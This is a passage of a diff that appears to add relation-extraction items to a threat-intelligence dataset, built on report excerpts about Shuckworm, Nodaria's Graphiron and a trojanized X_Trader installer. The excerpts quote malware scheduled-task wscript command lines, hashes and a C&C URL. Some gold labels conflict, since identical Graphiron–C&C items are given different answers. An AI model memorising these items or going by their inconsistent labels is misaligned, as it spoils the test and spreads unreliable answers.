the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: Giddome\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: Nodaria\n### Possible Relationship Labels:\n['authored-by', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>authored-by</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nNodaria\n### Target Entity: GraphSteel\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nNodaria\n### Target Entity: GrimPlant\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: PowerShell\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: C&C\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: C&C\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>exfiltrates-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nNodaria\n### Target Entity: GrimPlant\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nNodaria\n### Target Entity: GraphSteel\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nNodaria\n### Target Entity: Graphiron\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nNodaria\n### Target Entity: C&C\n### Possible Relationship Labels:\n['uses', 'hosts', 'owns', 'compromises', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nNodaria\n### Target Entity: PowerShell\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nwinscard.dll\n### Target Entity: X_Trader\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nBackdoor Installation\nOnce installed, the legitimate X_Trader executable side-loads the two malicious DLLs dropped by the installer. The first, winscard.dll, acts as a loader and contains code that will load and execute a payload from the second (msvcr100.dll). The msvcr100.dll file contains an encrypted blob appended to the file. The blob starts with the hex value FEEDFACE, which the loader uses to find the blob.\nThe process for payload installation is almost identical as that seen with the Trojanized 3CX app, where two side-loaded DLLs are used to extract a payload from an encrypted blob.\nIn this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345). Veiledsignal contains another DLL (SHA256: 19442d9e476e3ef990ce57b683190301e946ccb28fc88b69ab53a93bf84464ae), which is a process-injection module. This can be injected into the Chrome, Firefox, or Edge web browsers. The module contains a second DLL (SHA256: f8c370c67ffb3a88107c9022b17382b5465c4af3dd453e50e4a0bd3ae9b012ce), which is a command-and-control (C&C) module. It connects to the following C&C URL:\n* https://www.tradingtechnologies.com/trading/order-management\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nmsvcr100.dll\n### Target Entity: X_Trader\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 